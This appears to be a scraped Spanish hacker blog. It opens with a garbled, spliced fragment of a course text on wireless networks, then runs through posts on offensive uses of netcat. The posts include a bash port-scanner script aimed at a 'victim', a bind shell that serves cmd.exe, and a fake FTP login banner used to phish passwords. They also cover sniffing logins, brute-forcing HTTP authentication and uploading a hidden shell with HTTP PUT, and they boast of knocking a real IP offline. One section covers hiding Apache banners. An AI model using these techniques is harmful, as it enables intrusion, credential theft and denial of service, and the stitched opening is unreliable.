que corre DOS, un radio/fax/módem incluido y una ranura para una tarjeta de
memoria y 640 Kb de RAM.
Estas redes operan en un rango de 800 a 900 Mhz. ARDIS ofrece una
velocidad de transmisión de 4.8 Kbps. Motorola Introdujo una versión de red pública
en Estados Unidos que opera a 19.2 Kbps; y a 9.6 Kbps en Europa (debido a una
banda de frecuencia más angosta). Las redes públicas de radio como
MOBITEX). Este ultimo es el más utilizado en Europa. Estas RedesPCRadio” para utilizarla con ARDIS y otras redes, públicas yARDIS y
MOBITEX
(LAN´s) especialmente para corporaciones de gran tamaño. Por ejemplo, elevadores
OTIS utiliza
jugaran un papel significativo en el mercado de redes de área localARDIS para su organización de servicios.
http://www.cybercursos.net
5
1.3.- REDES DE AREA LOCAL (LAN).
Las redes inalámbricas se diferencian de las convencionales principalmente
en la “Capa Física” y la “Capa de Enlace de Datos”, según el modelo de referencia
OSI. La capa física indica como son enviados los bits de una estación a otra. La
capa de Enlace de Datos (denominada MAC), se encarga de describir como se
empacan y verifican los bits de modo que no tengan errores. Las demás capas
forman los protocolos o utilizan puentes, ruteadores o compuertas para conectarse.
Los dos métodos para remplazar la capa física en una red inalámbrica son la
transmisión de Radio Frecuencia y la Luz Infrarroja.
1.4.- REDES INFRARROJAS
Las redes de luz infrarroja están limitadas por el espacio y casi generalmente
la utilizan redes en las que las estaciones se encuentran en un solo cuarto o piso,
algunas compañías que tienen sus oficinas en varios edificios realizan la
comunicación colocando los receptores/emisores en las ventanas de los edificios.
Las transmisiones de radio frecuencia tienen una desventaja: que los países están
tratando de ponerse de acuerdo en cuanto a las bandas que cada uno puede utilizar,
al momento de realizar este trabajo ya se han reunido varios países para tratar de
organizarse en cuanto a que frecuencias pueden utilizar cada uno.
La transmisión Infrarroja no tiene este inconveniente por lo tanto es
actualmente una alternativa para las Redes Inalámbricas. El principio de la
comunicación de datos es una tecnología que se ha estudiado desde los 70´s,
Hewlett-Packard desarrolló su calculadora HP-41 que utilizaba un transmisor
http://www.cybercursos.net
6
infrarrojo para enviar la información a una impresora térmica portátil, actualmente
esta tecnología es la que utilizan los controles remotos de las televisiones o
aparatos eléctricos que se usan en el hogar.
El mismo principio se usa para la comunicación de Redes, se utiliza un
transmisión de luz se codifica y decodifica en el envío y recepción en un protocolo
de red existente. Uno de los pioneros en esta área es Richard Allen, que fundó
Photonics Corp., en 1985 y desarrolló un “Transreceptor Infrarrojo”. Las primeros
transreceptores dirigían el haz infrarrojo de luz a una superficie pasiva,
generalmente el techo, donde otro transreceptor recibía la señal. Se pueden instalar
varias estaciones en una sola habitación utilizando un área pasiva para cada
transreceptor. La FIG 1.1 muestra un transreceptor. En la actualidad Photonics a
desarrollado una versión AppleTalk/LocalTalk del transreceptor que opera a 230
Kbps. El sistema tiene un rango de 200 mts. Además la tecnología se ha mejorado
utilizando un transreceptor que difunde el haz en todo el cuarto y es recogido
mediante otros transreceptores. El grupo de trabajo de Red Inalámbrica IEEE 802.11
está trabajando en una capa estándar MAC para Redes Infrarrojas.
transreceptor” que envía un haz de Luz Infrarroja, hacia otro que la recibe. La

Hven Port Scanner

Posted by kasp3r11 14:29, under |

# !/bin/bash
# Scanner de Puertos
# By DoctorX 17/04/99  email: d0ct0r_x@bactery.8m.com
# Zona de Bacterias  http://bactery.8m.com/
# Hackers de Venezuela http://www.hackhour.com.br/hven
# Este es un shell script hecho por mi para la verificacion de
# conexiones a un host utilizando netcat.
# Declaracion de Variables
export NETCAT=" nc -v -v -w 8 -z "
export RANGO=$2
LOCALHOST=$(uname -n)
export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337"
export MEM1="Scanner de Puertos "
export MEM2="by "  
export MEM22="para Hackers Venezuela"
export MEM3="Victima : "
export MEM4="Falta el GateWay para el Source Routing !!!!!!"
export MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
export MEM6="Local Host : $LOCALHOST "
export MEM7="UDP Scan "
export MEM8="http://www.hackhour.com.br/hven"
export re=" [5m"
export cl=" [0m"
export rojo=" [31m"
export email="email:d0ct0r_x@bactery.8m.com"
# Declaracion de Funciones
# Mensaje cuando no se le dan Parametros
function mem() {
local uso="uso  :$0  [opcion]  <host> <gateway>"
local DRX="DoctorX"
echo $MEM1
echo $MEM2   ${rojo}$DRX${cl}  $MEM22
echo $MEM8
echo ${rojo}$uso${cl}
echo "<host>             :IP/HOSTNAME de La Victima jejejeje "
echo "<gateway>          :source-routing , es opcional "
echo "opciones : "
echo "u                  :esta opcion de utiliza para hacer scan udp"
echo "so                 :Determinacion de SO de servidores Web"
echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" &&
exit ; }
# Mensaje Inicial
function mem2() {
VICTIMA=$1
echo $MEM1
echo $MEM2 ${rojo}DoctorX${cl} $MEM22
echo $MEM3  $VICTIMA
echo $MEM6 ; }
# Mensaje 2
function mem_web() {
mem_web1="Hackers Venezuela"
mem_web2="By"
mem_web3="Victima : "
VICTIMA=$1
mem_web4="Determinacion de SO en Web Servers"
echo $mem_web1
echo $mem_web4
echo $mem_web2 ${rojo}DoctorX${cl} $email
echo $mem_web3 $VICTIMA ;}

# Scan Tcp
function tcp() {
 HOST=$1
 $NETCAT  $HOST $PUERTOS ; }
# Scan Tcp con Rango
function tcp_rango() {
 HOST=$2
 RANGO=$1
 $NETCAT  $HOST $RANGO ; }
# Scan UDP
function udp() { 
VICTIMA=$1
echo $MEM7
$NETCAT  -u $VICTIMA $PUERTOS ; }
# Scan UDP con gateway
function udp_gateway() {
echo $MEM7
VICTIMA=$2
GATE=$1
NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE "
$NETCAT_GATE $PUERTOS ; }
# Scan con Source Routing

function tcp_gateway() {
GATE=$1
HOST=$2
RANGO=$PUERTOS
echo "Gate : $GATE " 
$NETCAT -g $GATE  $HOST $RANGO ; }
# Advertencia
function  adv() {
local MEM4="Falta el GateWay para el Source Routing !!!!!!"
local MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
echo ${rojo}$MEM4${cl}
echo ${re}${rojo}$MEM5${cl}  ; }
# Determinacion de SO
function web_so() {
NC="nc -w "
HTTPPORT="80"
GET="GET /"
ECHO="/bin/echo"
HEAD="HEAD / HTPP/1.0"
HTTPVARIABLE="Server:"
WEB_SERVER="$1"
LOG="salida.txt"
#CHECKHTTP=( echo $GET  ; sleep 5)| $NETCAT $VICTIMA  80
( echo $HEAD  ; echo ; echo ) | $NC  8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE  | cut -d: -f2  1> $LOG 
cat  $LOG
rm -f $LOG  ;}

# Seleccion de Opcion
case $# in 0 ) mem ;;
           1 ) mem2 $1 ;
               adv  ;
               tcp $1 ;;
           3 ) if [ "$1" != "r" ]; then
                  mem2 $2
                  udp_gateway $3 $2
               else {  mem2 $3
                     adv 
                     tcp_rango $2 $3 ;}
               fi ;;
           2 ) if [ "$1" != "u" ] ; then
                       if [ "$1" != "so" ] ; then
                             {  mem2 $1
                             # adv 
                             tcp_gateway $2 $1 ;}
                       else { mem_web $2
                              web_so $2 ;}
                       fi
                else  { export HOST=$2
                       mem2 $HOST
                       udp $2  
                       exit 0 ;}
                fi ;          
esac

Netcat y Programación:

Posted by kasp3r11 14:28, under |

Esta combinación desencadena todo el Poder de Netcat en su máxima
expresión; Tratandose de una herramienta que funciona con lineas de comandos,
su integración con un lenguaje de programación le permite realizar gran
cantidad de tareas, y posibilidades se van descubriendo dia a dia con su
inclusión en nuevos Scripts y Exploits.
 Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten
frustrados porque muchos de los Scripts y Exploits que bajan de la Red
simplemente no les funciona, porque no saben interpretar el Código y por
lo tanto son incapaces de efectuar las modificaciones necesarias para incluir
librerias, paths o utilidades necesarias para su funcionamiento.
(Jódanse ScriptKiddies!!! Jajaja!!)
 Netcat es exelente para implementar exploits remotos, permitiendo
enviar el código a cualquier puerto vulnerable con una simple orden, logrando
ejecutar todos los comandos necesarios para explotar determinados servicios.
 Varios exploits que circulan actualmente en la Red, usan a netcat
como "motor" para manejar las conecciones, si analizamos el código de estos
programas podemos observar un nc por ahí, esto significa que el Proggie en
cuestión necesita una versión correctamente compilada de netcat en el
directorio  /usr/bin . A continuación un pequeño programa realizado por
el Doctor_X de Hven utilizando a netcat:

Netcat en Vez de Telnet.

Posted by kasp3r11 14:27, under |

Yo personalmente prefiero usar netcat para realizar connecciones
remotas como alternativa al Telnet. la ventaja de realizar conecciones telnet
desde netcat es que este esconde "algo" sobre tu conección, lo que lo hace
mas "sigiloso" que telnet, (de ahí por que lo llamaron netcat), Realizando
una conección "Limpia" en determinado puerto, obviando las negociaciones
comunes de Telnet que pueden confundir al cliente en determinados casos,
como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.
  OJO: algunas máquinas interpretan al cliente de telnet
y asumen el nombre del usuario que lo utiliza, de allí el porqué algunos
servidores solo preguntan por password ; teoricamente netcat no envia
esta información. Por eso, es recomendable acostumbrarse a utilizar netcat
para hacer conecciones remotas:

 c:> nc -v nombre del host 23(o el puerto de tu preferencia)

Otros usos Miscelaneos:

Posted by kasp3r11 14:27, under |

 Puedes utilizar algo de ingienería social para capturar algunos
passwords con netcat, por ejemplo, si una máquina no tiene abierto el
puerto de FTP o de telnet, creas un archivo de texto que solicite el ID
y el Password de la víctima; algo así:
Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:
Luego redireccionas el archivo hacia la victima:
C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt
         Si el tonto cae... Ahí va tu password, Jeje!! B-] un poco de
imaginación y maña te permitirán encontrar muchas utilidades para
netcat.

Detector de Conneciones Sospechosas:

Posted by kasp3r11 14:26, under |

La posibilidad de dejar a netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" para un supuesto agresor que utilize
scanners, o herramientas tales como NetBus o BackOrifice en contra de
nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood
y redireccionar su salida hacia la estación agresora en caso de una conección
no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas
 más, Muaahahaha!)  :)
Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo
real de un dia como cualquier otro en IRC; he aquí el ejemplo:
C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...
invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
 31338
         Back Orifice utiliza el protocolo UDP para realizar sus
travesuras, realiza la conección desde un puerto aleatorio (casi siempre
el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una
variante de BO), por eso se utiliza la opción -u (protocolo udp) ,
netcat se queda esperando conecciones UDP en el puerto 31337 (default de
BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a
pantalla el IP y el DNS del agresor...
         Luego un pequeño "Ping of Death" (Nuke) para el transgresor y
le hacen un Scan para ver cuando desaparece B-]
nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!

Sniffer:

Posted by kasp3r11 14:26, under |

 Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:
C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]

 Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:
C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
[Aqui viene la conneción...]
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030
[Todo lo que escriba la connección se va al archivo login.txt]
 sent 0, rcvd 42
[La opción -L permite que netcat escuche nuevamente al terminar la conección,
"New Victims Wanted" Hehe!]
DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...


         El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
  ---------------------
         Ejecutamos a Netcat con la opción o variable -v (verbose)
(doblemente "verbose" por si acaso) ;) esto hará que el resultado de
netcat, sea mostrado directamente en pantalla (a diferencia del archivo
usado por Dr._X) , la opción o variable -L (Listen, and listen again)
nos permitirá dejar escuchando u "oliendo" en determinado puerto aun
cuando la conección sea interrumpida (listen again), con la variable -p
le indicamos el puerto...
         Al ejecutar a netcat con esa combinación de variables las
opción -v me indica en pantalla el Host y el puerto de escucha:
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

         Realizo desde otra ventana un telnet a localhost (127.0.0.1) en
el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado

         Voilá! un Sniffer en LocalHost!  Jajaja!!!

Scanner:

Posted by kasp3r11 14:25, under |

Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran número de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.
 C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK
         Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:
C:\nc11nt>nc -v -v -z 127.0.0.1 1-53
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused  etc...
         Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.

Utilizando Netcat.

Posted by kasp3r11 14:24, under |

  Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.
 Algunas de las cosas que podemos hacer con NetCat son:
         Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conección es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conección a la red.
nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe
         Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....
         Si esta conección es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos :)
         La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conección a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos  los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.

         Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:
c:\>nc -v <IP> <puerto> (puedes añadir otra -v)

         Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:
c:\>nc -v <host> 79 < user.txt > log.txt
         El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt

Netcat en Linux

Posted by kasp3r11 14:24, under |

 Netcat en una plataforma como Linux se convierte en una utilidad
muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación
como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell
de Linux mediante Shell Scripts.
 Cabe destacar que distribuciones como RedHat Linux trae junto con
sus paquetes de instalación una versión limitada de netcat; lo mas recomendable
es bajar de la red la versión full de netcat para Linux (Importante: La
versión de netcat para linux viene a prueba de lamers, por lo cual debemos
compilar a netcat con unos flags especiales para poder obtener las opciones
-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo
desempaquetas en el directorio de tu preferencia, te ubicas dentro del
directorio de netcat y lo compilas con Make utilizando las siguientes Flags:
[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"

 Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar
netcat directamente llamandolo de cualquier parte del Shell, ademas de que
podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat
trae unos scripts muy interesantes y bien comentados para que los estudies
y comprendas mejor su implementación en scripts, los scripts están en el
directorio donde desempaquetastes netcat en /scripts , los corres como
siempre: ./probe  (o el script que quieras).

que es netcat?

Posted by kasp3r11 14:23, under |

Netcat es un pequeño programa creado para uso de los
administradores de redes (y por supuesto para los Hackers) :), este
proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...
         La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX,  trabaja con lineas de comandos desde MS-DOS (o desde el
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre
TCP/IP. El comando principal es nc con su respectiva variable u opción
al mas puro estilio Unix.

         Cabe destacar que la información sobre Netcat y sus usos
especificos es bastante limitada; aunque Hobbit en su documento aclara
muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado
para mas de 1001 vainas...
   Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat

 Netcat en WinX
 ==============

Este es el resultado de el comando de ayuda de netcat en una máquina windows
 c:>nc -h
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
  Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos
ofrece el poder manejar conecciones de una manera tan básica y sencilla:
<------ Opciones de Netcat --------->
-d  (Modo Stealth o encubierto)
 Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.
-e<prog>  (Ejecuta un programa cuando se conecta)
 Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.
-l  (Escuchando conecciones)
 Deja a un puerto abierto en espera de una conección
-L  (lo mismo que anteriormente pero sigue escuchando aún cuando la
conección es cerrada)
  Esta opción es incluida en la versión de Weld Pond de L0pth, y
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conección cerrada termina con el proceso de nc) esta opción -L
permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).
-n   (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta
opción le especificamos que no lo haga, y use solamente direcciones IP.
-o<logfile>  (obtiene un archivo log en Hex de la acción) Genera un Log de
las actividades de netcat en código Hexadecimal.
-p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.
-s<ip addr>  (pegarse a un IP especifico) Netcat puede utilizar IP de una red
como fuente local.
-t   (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.
-u  specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.
-v   (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios
en profundidad y observar todos los detalles en un Sniffing.
-w <segundos> (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conecciones .
-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning.
-g <gateway> (especificar Gateways) Una de las opciones más interesantes de netcat,
permite utilizar Routers como "puentes" de conección.
-G <numero> (Especificar puntos de Routing), Con esta opción podemos crear
una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes
(Spoofing).

-i <segundos> Especifica un intervalo de segundos entre puertos Scaneados.
<------------- Fin de las opciones comentadas ------>
by:kAsP3R

Authorization

Posted by kasp3r11 14:13, under |

hacked BY:kasp3r
Con la firme intención de preservar la seguridad en los servidores, la inmensa mayoría a
implementado un sistema de autentificación para evitar que usuarios malintencionados no abusen
de los métodos que tienen permitidos en el servidor, es decir, dejan allowed métodos tales como
PUT o DELETE pero piden algún tipo de identificación para poder llevar a buen puerto la petición.
Esta “identificación” puede ser de varios tipos, pero los más extendidos son Basic y Digest.
La identificación se envía dentro del header, en el campo Authorization. El tipo de identificación
más primitivo y por ello menos seguro es Basic. Este tipo de identificación se basa en una
password encriptada en Base64, que generalmente es fácil de extraer con un poco de lógica, ya
que en el 60% de los casos se trata del nombre del host, la IP del servidor y cosas por el estilo. La
estructura básica para obtener una identificación válida es Base64(Palabra1:Palabra2). Lo que
deberemos de cambiar serán Palabra1 y Palabra2 hasta lograr encontrar el login correcto.
A veces encontramos que, si durante la fase de la enumeración hemos localizado un
servidor vulnerable a algún tipo de Bypassing para esto, lo que se conoce como
Authentication Bypass,
En caso de que no logremos pasar la fase de verificación de los credenciales,
obtendremos como respuesta a nuestra petición un error 401 (Unathorizated), por el contrario si
las negociaciones se llevan de forma correcta, puesto que hemos acertado en el password y en el
usuario, obtendremos un código OK 201 (en el caso de haber hecho uploading a una shell por
ejemplo).
El segundo tipo de sistema de autentificación es Digest (
HTTP Basicpodríamos usarlo para poder llevar a cabo nuestra petición “prohibida”.Digest access authentication).
Este sistema es mucho más seguro que Basic, en cuanto a que no manda la información como
texto plano, si no en forma de un hash basado en el algoritmo MD5. Según los stándares, este
sistema de autentificación sigue el siguiente comportamiento:
HashA = MD5(A) = MD5(username : realm : password)
HashB = MD5(B) = MD(method : Digest URI)
Response MD5(HashA : nonce : HashB)
Sobre este sistema decir que es atacable mediante colisiones, aunque existen mecanismos
implementables en los servidores encargados de detectar colisiones dentro de los credenciales.
Un segundo ataque algo más “viable” sería el establecer un ataque basado en Fuerza Bruta
desde una red de ordenadores. Realmente para explotar un simple PUT o un DELETE llevar a
cabo cualquiera de estos dos posibles ataques contra una autentificación Digest es una tontería,
pero sí que puede ser necesaria en caso de querer realizar un ataque “a mayor escala” en el cual
si que necesitemos romperlo.

Contraataques, Evitando la identificación de nuestro servidor

Posted by kasp3r11 14:12, under |

kasper11@masterhacks.net
Como dice el títutlo del capítulo hemos llegado a la parte del contraataque, siempre es bueno
aprender a hacer algo, pero también es esencial saber como se ha echo y como deshacerlo. Así
mismo esta vez hemos aprendido a utilizar tecnicas como Banner Grabbing y Http Fingerprinting
pero también vamos a aprender a protegernos de ambas.
Comenzaremos con la protección ante banners grabs dado que es la técnica más sencilla de las
dos que hemos mencionado anteriormente.
Existen 3 maneras de evitar el banner grab en Apache, la primera editando un fichero de apache
antes de instalarlo, y las otras dos mediante mods de este mismo. Sin embargo solo mostraré 2.
Una vez bajado y descomprimido nuestro apache abrimos la carpeta include y localizamos el
archivo ap_release.h dentro de este buscamos algo como esto:
#define AP_SERVER_BASEVENDOR "Apache Software Foundation"
#define AP_SERVER_BASEPROJECT "Apache HTTP Server"
#define AP_SERVER_BASEPRODUCT "Apache"
#define AP_SERVER_MAJORVERSION_NUMBER 1
#define AP_SERVER_MINORVERSION_NUMBER 3
#define AP_SERVER_PATCHLEVEL_NUMBER 41
#define AP_SERVER_DEVBUILD_BOOLEAN 0
Este archivo define los datos de la versión, producto etc... Entonces ahora vamos a proceder a
modificarlo.
#define AP_SERVER_BASEVENDOR "Tito Lix Server fundation”
#define AP_SERVER_BASEPROJECT "Knight Force HTTP Server"
#define AP_SERVER_BASEPRODUCT "Knight"
#define AP_SERVER_MAJORVERSION_NUMBER 2
#define AP_SERVER_MINORVERSION_NUMBER 0
#define AP_SERVER_PATCHLEVEL_NUMBER 0
#define AP_SERVER_DEVBUILD_BOOLEAN 8
Ahora lo instalamos y, probamos nuestra modificación:
[Lix@Fedora ~]$
nc localhost 80
HEAD / HTTP/ 1.0
200 OK
Connection: close
Date: Thu, 10 Jan 2008 11:25:14 GMT
Server: Knight Force HTTP Server//2.0.0.8 (Unix)
Content-Type: text/html
Client-Date: Thu, 10 Jan 2008 13:36:24 GMT
Client-Peer: 127.0.0.1:80
Client-Response-Num: 1
Otra forma mucho menos tediosa seria bajar el paquete mod_headers. Se trata de un módulo de
apache, que permite modificar las cabeceras devueltas por el servidor. Por ejemplo una vez
instalado, añadiendo al fichero de configuración de apache la siguiente línea:
Ya hemos visto como evitar el banner grab, pero ahora vamos a intentar defendernos del
fingerprinting. Nosotros hemos usado 4 test para conseguir identificar el servidor con máxima
certeza, sin embargo existe una herramienta muy usada para el fingerprinting, su nombre se llama
httprint[8]. Dicha herramienta está cruzificada dentro de las reglas de mod_security
Cuando instalemos mod_security[9] deberemos editar el fichero
/etc/modsecurity2/modsecurity_crs_10_config.conf
Sustituyendo la línea:
Por:
Elegimos el nombre que mas nos apetezca. Ahora obligamos a Apache a recargar sus ficheros
de configuración:
.
/etc/init.d/apache2 force-reload
0x06: Ataques con Metodos
Como vimos al inicio de este paper sobre el protocolo HTTP existen diversos métodos
que sirven para el manejo remoto de archivos, tales como PUT, COPY o DELETE. Estos métodos
si están permitidos en un servidor puede jugar muy malas pasadas, ya que mandando una
cabecera PUT con el código fuente de una shell podríamos tener control casi total del servidor,
subir un exploit, etc…
En este capítulo nos centraremos en el manejo de estos métodos “peligrosos” para los
webmasters, así como aprender a desactivarlos para evitar males mayores.
/.0x09 Creación y borrado de ficheros (Put y Delete)
Cuando encontramos un servidor con los métodos PUT y DELETE admitidos podemos
considerarnos muy afortunados, puesto que tenemos casi todo el trabajo hecho. Vamos a
empezar hablando de PUT.
PUT es un método que funciona a la inversa que GET, es decir, en vez de leer el
contenido de un fichero lo que hace es escribir sobre él, como ya vimos al inicio de este paper.
Esto nos da una gran ventaja puesto que podemos subir una shell al servidor. Pero… ¿Cómo
Header set Server Knight Force HTTP Server
SecServerSignature "Apache/2.2.9 (Fedora)"
SecServerSignature "Knight Force HTTP Server"
ServerTokens Full
funciona PUT?. PUT necesita de unos parámetros básicos, que si lo pensamos bien resultan
lógicos. Lo que necesita es primero hacer la petición al fichero sobre el que deseamos
sobrescribir. En caso de que el archivo al que le hacemos PUT no exista, se creará. Bajo nuestro
punto de vista vemos con mejores ojos a la hora de hacer un “buen asalto” el aprovechar ficheros
ya creados, porque así nuestra shell pasará desapercibida en el servidor.
Otro parámetro que necesita PUT es la longitud (número de caracteres) que tendrá el
source del archivo, es decir, cuanto mide el código que vamos a escribir. Para indicar esto, existe
un campo llamado Content-Length, el cual deberemos de rellenar con el número exacto de
caracteres.
Entonces una posible petición sería la siguiente:
Como vemos el uso de PUT es sencillo, pero hay veces que la cosa se complica puesto que
pide alguna forma de autentificación para poder llevar a cabo esta petición con éxito. Cuando se
usa PUT, el mensaje de que las negociaciones han sido perfectas viene definido por un código
201. Este 201 indica que el archivo ha sido subido/sobrescrito perfectamente.
Volviendo a lo de la autentificación, deciros que este tema se tocará en el siguiente capítulo.
Como anécdota de PUT, decir que en los servidores IIS 5.0 viene activado por defecto[7], con lo
que depende del dueño del servidor el deshabilitad este método, lo que da pie a una alta
probabilidad de encontrar este método permitido en servidores antiguos.
El gran problema de PUT es que dejan unas huellas en los logs que son increíblemente
sencillos de analizar y de ver el fallo, ya que en los logs se recogen las peticiones que habeis
realizado.
